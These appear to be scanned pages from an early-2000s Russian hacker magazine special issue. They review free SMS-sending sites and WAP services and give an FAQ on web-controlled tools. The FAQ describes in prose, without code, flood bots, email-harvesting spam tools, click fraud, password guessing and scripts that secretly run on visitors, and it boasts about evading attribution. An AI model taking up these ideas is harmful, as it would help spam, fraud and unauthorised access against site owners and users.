
WEB2SMS - отправлялки SMS в сети

SPIKE

Спецвыпуск Xakep, номер #030, стр. 030-094-2

megafon.ru

Страничка Мегафона. В первую очередь бросается в глаза очень стильный дизигн сайта. У Мегафона по России очень много отделений и у каждого свой смс-сендер. Полный список региональных отделений Мегафона смотри на megafon.ru. Например, по адресу www.megafonmoscow.ru/rus/sms.xpml отправляются эти самые смс в столицу. Как и у МТС, никаких бонусов не наблюдается. Только крайний срок отправки заменен на псевдоним отправителя. Смс шлются только абонентам Мегафона (быстро и качественно :). Ресурс полезен тем, что большинство сервисов по отправке смс до сих пор не поддерживают этого оператора.

sms.jalita.com

Правильное место :). Приятное оформление, ни одного баннера, следовательно, и грузится моментально. Поддерживает примерно 100 операторов России, Украины, Беларуси, Грузии, Казахстана, Латвии, Эстонии, Узбекистана, Болгарии, Италии и Чехии (правда, по всему этому несколько неудобная навигация). Возможно вести записную книжку и создавать сообщения из пары десятков шаблонов непонятного назначения. Плюс поддерживается автоматическая транслитерация.

vpost.ru/sms.php3

Еще один хороший сайт. Тут уже можно отправлять смс почти во все страны мира. В одной только России поддерживается операторов около 50-ти. Если ты не нашел своего любимого оператора в списке - пиши админам сайта, обещают исправить :). Для отправки мессаги необходимо ввести код от автоматической регистрации (в опере эта система глючит и работать не хочет :-( ). Внизу сайта есть две кнопочки для перегона той лабуды, которую ты набрал, в кириллицу и наоборот. На сайте тусуется еще куча сервисов вроде отправки сообщений на пейджер и аську, персональных настроек, адресной книги и прочего (только для этого надо зарегиться).

www.sotovik.ru

Можно сказать, что сотовик - центр рунета по вопросам мобильной связи (говоря научным языком - информационно-аналитическое агентство :). Конечно, тут есть и свой смс-сендер: http://www.sotovik.ru/sms. Мессаги можно отправлять на мобильные всех (?!) GSM операторов бывшего СССР (как утверждают на сайте). Если опять не нашел своего любимого оператора - жалуйся админам. Плюс можно вести записную книжку со своими любимыми номерами. Минусы: необходимо вводить номер адресата целиком в международном формате (+7-ХХХ-ХХХХХХХ) (списка операторов, как везде, - нет) и сообщения длиной максимум 115 символов :(. Как и везде, действуют ограничения на частоту и количество отправляемых сообщений. Этот сервис поддерживается сайтом smsmail.ru (который, по причине платности, в обзор не попал).

igogo.ru/mobile/smssend.php


Спецвыпуск Xakep, номер #030, стр. 030-094-3, WEB2SMS - отправлялки SMS в сети

WEB2SMS - отправлялки SMS в сети

SPIKE

Спецвыпуск Xakep, номер #030, стр. 030-094-3

Последний смс-сендер в обзоре. Поддерживает всего 9 операторов России. Это, конечно, не много, но вполне хватает. В сообщение можно вставлять шаблоны смайликов, которые на сайте представлены в виде маленьких картинок. Например, зеленый крокодил: <<<<<:==), птичка: 8>, рыбка в аквариуме: oO, летучая мышь: :C. Похоже, что у того, кто это придумал, воображение намного богаче моего :-Р. Также в смс можно вставлять текстовые шаблоны, как на jalita.com.

БОНУСЫ

sms.zzz.ru

Этот сервис уже нельзя назвать смс-сендером. Тут можно воспользоваться услугой mail2sms, sms2mail (отправлять почту по смс и смс по почте) и подписаться на некоторые рассылки на мобильник. Еще можно отправлять сообщения на пейджер, скачивать графические сообщения и мелодии. Для этого достаточно зарегистрироваться. К сожалению, этот шлюз становится потихоньку все более платным, но пока еще есть полезные бесплатные услуги.

СТАВИМ СЕБЕ

Если ты владеешь своим собственным мегапорталом или маленькой хомпагой, то, я думаю, тебе тоже захочется припаять туда смс-сендер. Рассмотрим, как это можно организовать.

Можно просто посмотреть в исходники какого-нибудь простенького смс-сендера, вырезать все лишнее, немного поправить под свой сайт и с чистой совестью вставить в код своей страницы :). Если хоть немного разбираешься в HTML и JavaScript, то все получится. Можно пойти дальше и произвести серьезную реструктуризацию кода или совокупить сразу несколько смс-сендеров (например, разных операторов). Но (!) все это не совсем официально ;-). Ну, а если ты чувствуешь, что ты профи, то - пиши код смс-сендера с нуля.

Некоторые сайты предлагают стать их партнером, разместив на своем сайте их форму для отправки смс и ссылку на них. Например, mobile.igogo.ru/partner.php. Тут все намного проще: прочитать внимательно описание, пройти регистрацию и получить код смс-сендера (бесплатно). Дальше все понятно. Платные сайты порой предлагают даже поделиться с тобой частью выручки, если ты разместишь их форму у себя на странице и ею будут регулярно пользоваться.

Вот вроде все самые интересные сервисы по отправке смс в рунете и рассмотрены. За бортом остались забугорные и платные сервисы. Если будут вопросы - пиши.


Спецвыпуск Xakep, номер #030, стр. 030-096-1, WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-096-1

(moof@real.xakep.ru; http://moof.ru)

Прежде чем начать разговор о WAP-сервисах, скажу пару слов о том, что такое WAP. Углубляться в объяснение не буду, это тема отдельной статьи. Итак, WAP это Wireless Application (или Access) Protocol - протокол для получения информации из сети для сотовых телефонов и прочих мобильных устройств. Так же как в обычном браузере для просмотра страниц используется протокол http, так в браузерах мобильников используется протокол wap. Странички для wap'a делаются с помощью языка WML (Wireless Mark-up Language). WML младший брат языка HTML и очень на него похож, однако имеет свои особенности и гораздо меньшую функциональность. К сожалению, на маленьком экране телефона пока нельзя получить такой же результат, как на мониторе компьютера, но все еще впереди.

Эмуляторы

А теперь доставай свой мобильник и готовься окунуться в мобильный Интернет-мир. А если у тебя нет возможности посмотреть WAP-сайты с мобильника, но очень хочется - воспользуйся специальным софтом, позволяющим просматривать мобильные ресурсы на обычном компьютере. Самая доступная программа для просмотра WAP-страниц на компьютере - это всем известный браузер Opera. Его пользователи наверняка знают об этой возможности, а для всех остальных пусть это будет приятным открытием :). На всякий случай, скачать Оперу можно тут: http://www.opera.com/ :). Конечно, в окне браузера сайт не будет выглядеть так же аккуратно, как на телефоне, поэтому существуют также специализированные WAP-браузеры, которые выглядят как мобильный телефон. Например, браузер M3Gate имеет множество скинов разных телефонов и совместим с обычными браузерами. То есть если ты попытаешься открыть в эксплорере или нетскейпе WAP-сайт, то M3Gate автоматом загрузится и покажет тебе то, что ты хотел посмотреть. Подробнее узнать о браузере и скачать его можно по адресу: http://www.numeric.ru/m3gate. Кроме того, M3Gate переведен на русский язык.

Но хватит о браузерах, перейдем к WAP-сайтам. Я сделал обзор нескольких ссылок, которые должны быть в закладках каждого мобильника. Поскольку отсканировать экран своего сотового мне не удалось (сканер никак не захотел сканировать телефон), то скриншоты буду брать из эмулятора :).

ICQ

http://wap88.com/

Да! Это настоящее WAP-ICQ! И это не просто слова - оно работает! Заходишь на сайт, вводишь свой номер, пароль - ты в ICQ. Учитывая мнение очевидцев (и проведя долгое время в поисках :)), я пришел к выводу, что это единственный работающий на данный момент сайт, через который можно работать с ICQ с мобильника. К сожалению, у него есть недостатки. Во-первых, это то, что теряются офф-лайновые сообщения. То есть если тебе посылают сообщение, когда ты в офф-лайне, а потом ты логинишься в WAP-ICQ, то ни одного сообщения не получишь. Более того, ты их вообще никогда не увидишь :(. Но с этим легко бороться, достаточно зарегистрировать себе дополнительный номер и обозвать его MOOF@WAP, например. Тогда все друзья будут знать, что это мобильный номер ICQ, и офф-лайновых сообщений тебе слать не будут :). Второй недостаток - это очень маленький контакт-лист. В него можно добавить всего восемь человек. Хотя я с трудом себе представляю, как можно чатиться в icq с мобильника. Ведь есть и вполне себе прилично работает связка SMS-ICQ. Ну и, наконец, WAP-ICQ не понимает русский язык. Приходится писать транслитом. (Прим. Дронича - на самом деле не все так плохо. В связке "мобильник-КПК" сидеть в такой аське очень приятно. А учитывая, что GPRS-WAP стоит дешевле полноценного GPRS, получается дешевое мобильное решение. :) Ведь на КПК ничего кроме браузера не понадобится.)


Спецвыпуск Xakep, номер #030, стр. 030-096-2, WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-096-2

Почта

http://wap.mail.ru/

Доступ к почте через WAP предоставляют многие популярные сайты, в том числе и русскоязычные. Наиболее актуальным, наверное, является сервис mail.ru. Почта корректно работает с русскими кодировками и совсем не тормозит. Кроме обычных папок: Входящие, Отправленные, Удаленные, доступна также адресная книга, что, безусловно, является плюсом. А если еще учесть, что на сайте mail.ru ты можешь сделать сбор почты с других почтовых аккаунтов, то проверить почту с мобильного телефона ты сможешь из любой точки планеты.

Поиск

http://wap.yandex.ru/

http://wap.aport.ru/

Большой мобильный портал от Яндекса и еще один от Апорта. Тут есть все: почта, новости, погода, программа ТВ, ссылки и, конечно, поиск. Искать можно как в обычном Интернете, так и в WAP'е. Причем, если ты ищешь в Интернете, то Яндекс и Апорт умеют автоматом преобразовывать найденный сайт в страничку, понятную твоему телефону. Получается, что у этих двух сайтов есть конвертер html в wml. Немного покопавшись на Яндексе, удалось обнаружить адрес конвертора - http://www.yandex.ru/h2w?url= , где после url= идет адрес сайта. Например, чтобы посмотреть сайт Microsoft на мобильнике, надо ввести адрес http://www.yandex.ru/h2w?url=http://www.microsoft.com/. Конечно, конвертер не универсальный и многие сайты отображает неправильно, но для мобильника вполне хватает. У Апорта конвертер посильнее, однако так просто доступ к нему не получить. Только через поиск.

Поиск в WAPе

http://mobile.alltheweb.com/

А этот поисковик позволяет искать не только по русскоязычным, но и по международным WAP-ресурам. У него просто огромная поисковая база данных. Искать по обычным сайтам он не умеет, зато по WAP'у ищет лучше всех.

Справочник

http://wap.mtt.ru/

Отличный сайт с обилием различной справочной информации по разным городам. Например, с помощью него можно за несколько секунд узнать телефон налоговой службы Центрального района Санкт-Петербурга :). Кроме справочной информации на сайте есть огромное количество развлечений: тесты, игры, гороскопы, цитаты, сонник и многое, многое другое. Еще на сайте есть HTML-конвертер, конвертирует быстро, но оставляет много лишней информации, такой как имена картинок.

RosWeb

http://wap.rosweb.ru/

Настоящий мобильный портал. Тут есть всевозможные новости (мировые, российские, новости MTV), погода (на несколько городов России), развлечения. Также отдельный раздел посвящен Москве. В развлечениях есть афиша различных мероприятий, гороскоп, анекдоты, афоризмы, тосты. В общем, стандартный набор развлекательного сайта. Разве что картинок нет. :)


Спецвыпуск Xakep, номер #030, стр. 030-096-3, WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-096-3

Gala

http://wap.gala.net/

Еще один портал. Кроме новостей, гороскопов и анекдотов тут есть чат, служба знакомств, доска объявлений, тесты и еще много всякой всячины. Кстати, в знакомствах пользователи оставляют свои реальные номера телефонов. Одним словом, тут ты не соскучишься.

Переводчик

http://wap.translate.ru/

Целый Промт в твоем мобильнике! Умеет переводить с русского на английский и обратно. Доступно несколько словарей: Общая лексика, Бизнес, Компьютеры. На экзамене сгодится :).

Музыка

http://wap.mp3.com/

У такого музыкального монстра Интернета, как mp3.com, тоже есть свой WAP-ресурс. Примечателен он тем, что там можно посмотреть информацию по музыкальным концертам во всем мире, включая и Россию.

Новости связи

http://wap.revkom.ru/

Сайт, посвященный новостям мира связи и цифровых устройств. Кроме самих новостей с сайта можно быстро отправить сообщение на ICQ или e-mail, что иногда бывает очень удобно.

Yahoo.com

http://wap.yahoo.com/

Что тут говорить? Популярнейший портал присутствует и в wap'е. К сожалению, русскоязычной части нет, но тебе никто не мешает зайти на любую другую часть сайта. Тут есть все возможности "старшего брата" - начиная от календаря и новостей и заканчивая почтой и yahoo messenger! А по адресу http://mobilegames.yahoo.com/ ты можешь найти мобильные игрушки. Можно поиграть в Blackjack, Video Poker, кости или другие игры. Причем, если у твоего мобильника цветной экран, то картинки в играх тоже будут цветными.

Чат

http://wap.agotchi.net/c.wml

WAP-чатов можно найти много, но особенность этого - то, что в нем тусуются русскоязычные пользователи. В чате не нужна регистрация, так что заходи и болтай. Ну и, конечно, есть несколько разных комнат, в том числе и приват.

Игры

http://www.wirelessgames.com/

Сайт с мобильными игрушками. Обязательно поиграй в рулетку! Делаешь ставки, жмешь Spin и получаешь результат. Но самое прикольное - это многопользовательская игра Танчики. В нее можно играть вдвоем! Ты вводишь угол и силу выстрела и стреляешь по противнику. Игра захватывает, когда играешь с живым человеком, а не с компьютером.

http://wap.uptsoft.com/rus/games.wml

Если тех игр тебе оказалось мало, то по этой ссылке ты можешь поиграть еще в несколько игрушек: морской бой, крестики-нолики, рулетка.

Туристам

http://wap.tours.ru/

На сайте можно посмотреть стоимость туров в различные страны мира из Москвы и Санкт-Петербурга, посмотреть цены на гостиницы и билеты на самолеты. А еще можно посмотреть прогноз погоды в разных городах мира. В целом очень полезный сайт для путешественников.

Погода

http://wap.gismeteo.ru/

Куда же без погоды? На сайте можно узнать погоду почти для всех городов России, стран бывшего СССР и Европы. Сайт обновляется регулярно, что не может не радовать. Кроме того, погода представлена на несколько дней, даже есть картинки. Однозначно лучший сайт о погоде.

Спорт

http://wap.sportzone.ru/

Для интересующихся спортом, а именно футболом и хоккеем, настоятельно рекомендую этот сайт. На сайте представлена подробная информация о результатах матчей не только России, но и некоторых других стран. Вся информация, естественно, на русском.


Спецвыпуск Xakep, номер #030, стр. 030-096-4, WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

WAP-СЕРВИСЫ - маленький Интернет в твоем телефоне

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-096-4

Конференции Фидо

http://wap.newsgate.ru/

Для тех, кто тоскует по Фидо, существует специальный WAP-гейт в FIDO/USENET. Тут можно читать группы, смотреть новые, искать по группам и даже писать в них. Однако писать у меня почему-то не получилось, а вот читаются конференции очень даже хорошо.

Психологические тесты

http://waptest.ru/main.wml

Если нужно убить время и заодно узнать о себе несколько фактов, психологические тесты именно то, что нужно. На страничке ты сможешь определить особенности характера, узнать о своем здоровье, юмористические тесты и многие, многие другие. Тестов всего несколько десятков. Есть чем заняться.

Бизнес-информация

http://wap.mfd.ru/

Для тех, кого интересуют курсы валют, акции и прочие биржевые индексы, - этот сайт окажется чрезвычайно полезным. На сайте также есть регулярно обновляющаяся лента новостей. А уж как можно понтануться на семинаре по какому-нибудь "Банковскому делу" или "Валютным рынкам" :)...

Каталог сайтов

http://www.nevru.com/wap/indct_cyr.wml

На сайте представлен, наверное, самый большой каталог русскоязычных WAP-сайтов. Все сайты удобно разбиты по категориям, в общем все, как в обычном взрослом каталоге. Кроме того, на сайте есть еще и рейтинг WAP-ресурсов, благодаря которому ты быстро сможешь найти интересные ресурсы.

Баннерная сеть

http://www.wapbanners.net/english/

WAP - это маленький Интернет, в нем тоже существуют свои баннерные сети. Вот одна из них. Кроме баннерной сети на сайте можно взять счетчик для своей WAP-странички и посмотреть каталог сайтов.

Заключение

К сожалению, большинство WAP-сайтов не отличается оригинальностью. Да оно и понятно, много ли можно сделать оригинального на маленьком экранчике мобильника. В основной своей массе WAP-ресурсы - это новости, анекдоты и гороскопы. И немного игр. Я, например, использую WAP для чтения почтового ящика, когда долго не бываю дома. Но не более. Читать анекдоты на маленьком экране телефона выше моих сил :). Хотя радует, что наконец стали появляться цветные сайты, уже что-то. Вот связка WAP-PDA-мобильник - по-моему идеальное решение. Будь мобильным! :).


Спецвыпуск Xakep, номер #030, стр. 030-100-1, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-1

LEN' vsemu golova!

Что такое веб-тулзы?

Мы так называем полезные программулины, которыми можно управлять с веб-странички. Это могут быть почтовые программы, ICQ, IRC, хакерские тулзы, админские софтинки, базы данных, конструкторы сайтов, игрушки и вообще практически любые программы. «В чем тут кайф?», - спросишь ты меня. А в том, что WEB-браузеры появились даже в телефонах, и работать с WEB реально даже на некоторых телевизорах. Но далеко не на каждый компьютер, где работает WEB, ты можешь устанавливать нужный тебе софт.

А вот ВЕБ-софт будет работать в любой точке вселенной, была бы связь с Интернетом.

То есть теперь ты сможешь чатиться по Аське и Ирке даже на работе, где злой админ закрыл нужные порты и не разрешает ставить проги. Ты сможешь хакать или админить сайт из Интернет-кафе, где за попытки открытия шелла полагается мгновенное отрубание головы. Словом, ВЕБ-тулзы - лучшие друзья хакера, которые позволяют ему делать свои черные дела, не привлекая к себе внимания, под видом обычного серфинга по Инету.

Какое отношение имеет «клиент-сервер» к тулзам?

Самое непосредственное. «Чтобы программа где-то работала, ее нужно сначала где-то установить» (с) КиберПух. В том-то и дело, что программа, управляемая через WEB, устанавливается на тачку с WEB-сервером. А контроль за этой программой осуществляется через WEB-клиент, то есть браузер.

Теперь давай распутывать запутанное! Для работы идеи «Клиент - Сервер» нам нужно две программы: управляющая и управляемая. Есть много софтин, управляемых через сеть, их минус в том, что на управляющий комп нужно ставить клиента. Допустим, ты хочешь удаленно администрировать чужую тачку, для этого нужно ставить на твой комп специального клиента и сервер на чужой комп (трояна). ВЕБ-тулзы удобны тем, что паразитируют на уже готовой схеме: «ВЕБ-сервер - ВЕБ-клиент». То есть тебе не нужно устанавливать специального клиента на свою машину, достаточно использовать имеющийся браузер.

Кстати, существуют троянские кони, способные превратить твою невинную тачку в WEB-сервер с WEB-тулзой удаленного администрирования твоих ресурсов против твоей воли. Заходишь браузером на новоиспеченную домашнюю страничку протрояненного ламобота и направляешь троян-тулзе рекомендации по расправе с несчастным пользователем.

Веб-тулзы схожи с туннелями?

В некотором роде это HTTP-туннели. На админском файрволле, прикрывающем доступ в Инет, могут быть запрещены порты и протоколы telnet, smtp, pop3, ICQ, IRC, FTP и так далее. Вообще все может быть наглухо закрыто, кроме HTTP. Однако ты можешь получить доступ к нужным сервисам через WEB, то есть по протоколу HTTP. Потому можно считать применение в этих случаях WEB-тулзов полноценным HTTP-туннелированием. Хотя, с другой стороны, on-line-калькулятор дифференциальных уравнений офигенного порядка туннелем не назовешь.

Помнишь важное свойство туннелей? Они могут вкладываться друг в друга! То есть один туннель может вкладываться в другой. Например, WEB-спамер может использовать WEB-почту. То есть ВЕБ-тулзы могут связываться и юзать друг друга.


Спецвыпуск Xakep, номер #030, стр. 030-100-2, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-2

Кто такие боты?

У тебя есть ВЕБ-клиент (браузер), ты им управляешь, когда лазаешь по страничкам, треплешься в чатах, пишешь в гостевухи и форумы, регистрируешься в каталогах, используешь ВЕБ-тулзы. Ты выполняешь при этом простые операции: кликаешь по кнопкам, передаешь строковые или численные данные. То есть возможно научить скрипт-робот кликать за тебя по кнопкам и передавать данные через формы, алгоритм простой. На этом принципе работают поисковые машины, они притворяются пользователями - заядлыми серферами - и неустанно кликают по ссылкам, сохраняя в базе найденную инфу. Нередко, работая с поисковыми машинами, ты попадаешь во вложенные туннели, когда один робот-поисковик дает ссылку на результаты другого поисковика.

А теперь представь себе скрипт, который умеет за тебя трепаться в WEB-чате. То есть он регулярно запрашивает обновление чатовской страницы, ведет логи разговора и даже умеет отвечать осмысленно, анализируя полученный текст. Такая программа и называется ботом, причем боты бывают как для IRC-чатов, так и для WEB. Бота можно посадить, наверное, в любой системе онлайнового общения. Заметь, что в этом случае ты снова сталкиваешься с вложенным HTTP-туннелем, ведь сервер с запущенным на нем ботом становится клиентом WEB-чата. Кстати, WEB-чаты, гостевухи и форумы - еще одна разновидность WEB-тулз. Без добавления алкоголя в мозг сложно себе представить, что есть еще один вложенный туннель. Ведь ты можешь управлять своим ботом, передавая в общий чат команды для него! Например, можно прямо в чате попросить бота выдать в общий треп статистику по определенному нику. То есть можно початиться с ботом - попросить его порыться в своих логах и найти время, когда твой приятель последний раз был в чате. Как? Опять, сцука, ушел бухать с телками - и без тебя?

Бот может быть в виде конвертора, когда одна его часть - IRC-клиент - висит на нужном IRC-канале и притворяется пользователем, а другая - служит WEB-интерфейсом для управления его действиями через браузер. Правда, в этом случае бот уже будет WEB-шлюзом. То есть, получив сообщение через WEB-форму, бот отправляет его в IRC под именем пользователя. Ну и обратно: получив сообщение по IRC, показывает в виде HTML.

Кто такие WAR-боты?

Если бот умеет заходить в чат под нужным ником, умеет передавать сообщения, то ничего не стоит доработать его под флудер. Несколько таких ботов, которые заходят в чат под разными именами, с разными IP-адресами, генерируют несколько десятков сообщений в секунду, способны сделать невозможным общение простых пользователей в чате.

В противовес военным ботам можно поставить скрипт-роботов с администраторскими правами, которые умеют автоматически банить и кикать по определенным признакам: по наличию мата в сообщениях, по сочетанию символов в имени, по диапазону IP-адресов, за слишком большое количество текста или за слишком частые сообщения.

Что такое СПАМ-тулзы?

Если можно научить скрипт лазать по страничкам, то можно заставить его искать в Интернете электронные адреса пользователей. Допустим, оставил ты где-нибудь в Инете свой мыльник, его нашел такой робот и занес в свою базу. После этого базу продают, а тебя начинают жестко спамить разными идиотскими сообщения типа «Купи слона». От таких автоматических охотников за е-мэйлами можно спастись, если писать слово «собачка» вместо символа «@» или другими отвлекающими нестандартными маневрами. Хотя со временем паразиты все равно приобретут иммунитет к этим ухищрениям, и тебя все равно будут бессовестно спамить.


Спецвыпуск Xakep, номер #030, стр. 030-100-3, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-3

Других роботов учат автоматически отправлять сообщения в гостевые книги и поисковые каталоги. Когда ты ходишь по немодеруемым гостевухам, то часто видишь тьму рекламных сообщений, которых в десятки раз больше, чем нормальных, - работа спам-веб-тулз. Некоторые ВЕБ-студии предлагают зарегистрировать твою пагу сразу в 100...0 сетевых каталогах и рейтингах, как, ты думаешь, им это удается?

Как еще применяют автоматические тулзы?

Если скрипт умеет кликать по ссылкам, то имеет смысл его применять в WEB-мошенничестве для накручивания счетчиков, рейтингов, кликов по баннерам. А чтобы спрятать следы, используется двойное туннелирование, например, скрипт размещается на странице, и его запускает ни в чем не повинный пользователь, скрипт при этом выполняет свое черное дело от имени пользователя. Кстати, счетчики, рейтинги, голосовалки, статистику тоже можно назвать тулзами, управляемыми через WEB.

Ну и, конечно, программа, умеющая передавать запросы WEB-серверу, потенциально способна банально подбирать пароль к закрытым WEB-ресурсам, таким как WEB-почта или WEB-администратор странички, или просто платный порносайт. И снова этот гадостный скрипт может работать от лица невинных пользователей, посещающих мирную страничку.

Как скрипт ориентируется на странице, он же слепой?

Просто скрипт чуть-чуть знает HTML (HyperText Markup Language) - язык гипертекстовой разметки. Адреса ссылок, на которые мы кликаем, хранятся в стандартных тэгах HTML, которые начинаются с «<A href=...». Адреса электронной почты выделяются компонентом «mailto:», а еще там есть собачка «@». Формы для отправки сообщения в гостевую книгу начинаются с тэга «<FORM». То есть без особых проблем можно написать простенькую программу, понимающую содержание WEB-страниц и натренированную вылавливать оттуда ссылки, адреса, способную даже передавать данные в регистрационную форму каталога или гостевой книги. Язык Perl обладает громадными возможностями по анализу строк, однако имеются и готовые модули HTML, LWP, URI для эмуляции работы браузера. То есть заставить скрипт притвориться WEB-клиентом не проблема.

Как превратить обычную программу в ВЕБ-тулзу?

Что понимать под обычной программой? Большинство WEB-тулз оказываются банальными скриптами CGI, JSP, ASP, PHP. То есть такая софтина может быть создана специально для WEB, и передача данных между WEB-интерфейсом и такой программой происходит по стандартным алгоритмам. Не уходя от этих технологий, программулина способна притворяться браузером, IRC-клиентом, ICQ-клиентом, почтовым клиентом, способна работать с дисками сервера. Вопрос только в том, чтобы найти нужные библиотеки.


Спецвыпуск Xakep, номер #030, стр. 030-100-4, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-4

Если возникает потребность использовать стандартные утилиты типа ping, то применяется функция EXEС. То есть скрипт открывает шелл, запускает нужную тулзу с необходимыми параметрами, сохраняет и выдает результаты ее работы. Для этого используются STDIN/STDOUT - стандартные потоки ввода-вывода. Есть возможность запускать макропрограммы, написанные на языке шелла.

Однако если тулза обладает графическим интерфейсом, то придется писать надстройку, которая будет сохранять результаты работы программулины в виде графического файла или мультика и передавать скрипту. Еще сложнее вводить данные в такую программу. Словом, с этими вещами никто связываться не хочет, так как вместо того, чтобы использовать готовую тулзу с графическим интерфейсом, проще написать самодельную для WEB. Хотя потенциально для любой софтины можно наваять WEB-интерфейс и тем самым превратить ее в WEB-тулзу.

Другое дело - текстовые программулины, которых полно в любом Юниксе; зачем изобретать велосипед, когда можно приделать ВЕБ-интерфейс, запарившись всего несколькими строчками кода. И потом - Perl тоже не всемогущий; если ты программируешь интерфейс для стиральной машины, то без ассемблера не обойтись, так что пусть Perl-скрипт запускает готовый бинарник stirlnaya_mashina.com.

Как принимать данные со страницы?

Через браузер ты получаешь от WEB-сервера страницу - интерфейс твоей WEB-тулзы. Для создания такой страницы тебе нужно знать хотя бы основы HTML. С помощью тэга <FORM> можно создать на страничке поля для ввода текста, менюшки, переключатели, кнопки. Данные, которые ты вводишь с помощью этих элементов, браузер передает по протоколу HTTP методами GET или POST. Элементы тэга <FORM> примитивные и уродливые, зато работают практически везде, подробнее об этом прочтешь здесь: http://www.citforum.ru/internet/html40/interact/forms.html#edef-FORM. Любители эстетики используют в качестве интерфейса технологии JavaScript и Flash, они дают большие графические возможности, но отключены в некоторых браузерах (в моем, например).

Итак, пользователь производит манипуляции с WEB-интерфейсом, браузер передает эти данные по HTTP-протоколу WEB-серверу, а сервер через переменные среды и STDIN перенаправляет данные нужному скрипту, который преобразует их в удобоваримый вид (раскодирует). Подробнее читай здесь: http://emanual.ru/download/76.html. После либо скрипт сам выполняет полезную тулз-работу, обратившись к библиотекам: производит расчеты, спамит, флудит, посылает и принимает сообщения в IRC и ICQ. Либо он запускает готовую тулзу и передает ей данные в необходимом для нее виде. Например, вводит в сканер портов IP-адрес зашедшего пользователя. Так происходит управление WEB-тулзой, причем пользователь может и не знать, что при заходе на страницу скрипт начинает сканить, что-нибудь накручивать, подбирать пароль, считывать полезную инфу о юзере...

Как выводить результаты в браузере?

Если от WEB-тулзы требуется возвращать какие-то полезные результаты своей работы: результат сканирования портов, сообщения ICQ/IRC, график роста количества ламоботов на сегмент сети. Все эти полезные вещи скрипт сохраняет в виде HTML-страницы, подставляя данные в готовые HTML-шаблоны. Технологии PHP, ASP, JSP подставляют куски HTML вместо своих скриптовых вставок. Если скрипт сам запускал какую-то стандартную тулзу, то он перенаправляет вывод либо во временный файл, либо в переменную среды, чтобы затем также подставить полученные данные в HTML. С помощью графических библиотек есть возможность построить график и добавить его в виде картинки *.GIF, *.PNG, *.JPG в тело HTML-документа. После этого WEB-сервер возвращает браузеру обновленную страницу, и пользователь видит результаты.


Спецвыпуск Xakep, номер #030, стр. 030-100-5, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-5

Есть и нестандартные случаи (например, web-камеры), когда ответ формируется не в виде HTML, а вообще передается по своему протоколу в надстройку браузера, понимающую нужный формат данных.

Чего не могут WEB-tools?

Эта технология возвращает нас в каменный век. С одной стороны, есть возможность запускать нужную программу без инсталляции из-под любой операционки, где есть сносный браузер. Но, с другой стороны, время реакции простейшей программы больше, чем на самых древних ПК. Через WEB ты не порендеришь в 3DMAX, не поиграешь в Unreal Tournament или Контру, не порисуешь в шотофопе. Чтобы эти программы работали по сети, их нужно качать и инсталлировать. Даже WEB-камера к классическому WEB имеет мало отношения, потому что без специального плагина, который нужно скачивать и ставить, браузер ничего показывать не будет. То есть через WEB мы можем управлять программами, не требующими быстрой реакции пользователя. Конечно, Flash и JavaScript позволяют играть в игры реального времени, только эти игры перед запуском скачиваются на компьютер пользователя и только потом запускаются, поэтому они так примитивны.

Анонимны ли хакерские ВЕБ-тулзы?

Несомненно, любой туннель сильно запутывает следы. Если ты сидишь на IRC или в ICQ через WEB-гейт, то сложно придумать разумный способ выявления твоего IP. Твои враги видят в лучшем случае адрес сервера, на котором висит гейт. Однако от реализации WEB-тулзы тоже многое зависит. Например, большинство современных серверов WEB-мыла любит сохранять в каждом письме IP-адрес отправителя. Так что об анонимности мыльной WEB-тулзы говорить не стоит. Однако вообще с WEB общаться анонимно проще, так как в каждом современном браузере есть удобная возможность подключения анонимного proxy-сервера. То есть сервера, который заменяет твой IP-адрес на свой и обрезает некоторые данные, передаваемые браузером в сеть. Настроить через такой анонимный proxy обычные mailer, IRC, ICQ сложнее.

Программа с WEB-интерфейсом может связываться с другими серверами и программами практически по любому протоколу, все зависит от фантазии программиста. То есть цепочка из завязанных друг с другом многократно вложенных туннелей может быть настолько длинной и изощренной, что концов не раскопаешь. Однако, чтобы выстроить ее анонимно, придется постараться, чтобы не засветиться.


Спецвыпуск Xakep, номер #030, стр. 030-100-6, WEB-FAQing-TOOLZZZ

WEB-FAQing-TOOLZZZ

Матушка Лень (MLen@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-100-6

С другой стороны, использование веб-тулз не оставляет на компе хакера никаких стремных следов - типа вредоносных программ, заготовок кода, компиляторов. Единственная зацепка - история соединений и временные файлы браузера, которые легко удаляются. Весь вредоносный софт - на сервере, причем он может использоваться одновременно большим количеством юзеров, вот и попробуй выяснить, кто из них тебя хакнул. А доказать вообще нереально, засмеют.


Спецвыпуск Xakep, номер #030, стр. 030-112-1, РобоХак

РобоХак

Електро-Утюг (e-tug@mail.ru)

Спецвыпуск Xakep, номер #030, стр. 030-112-1

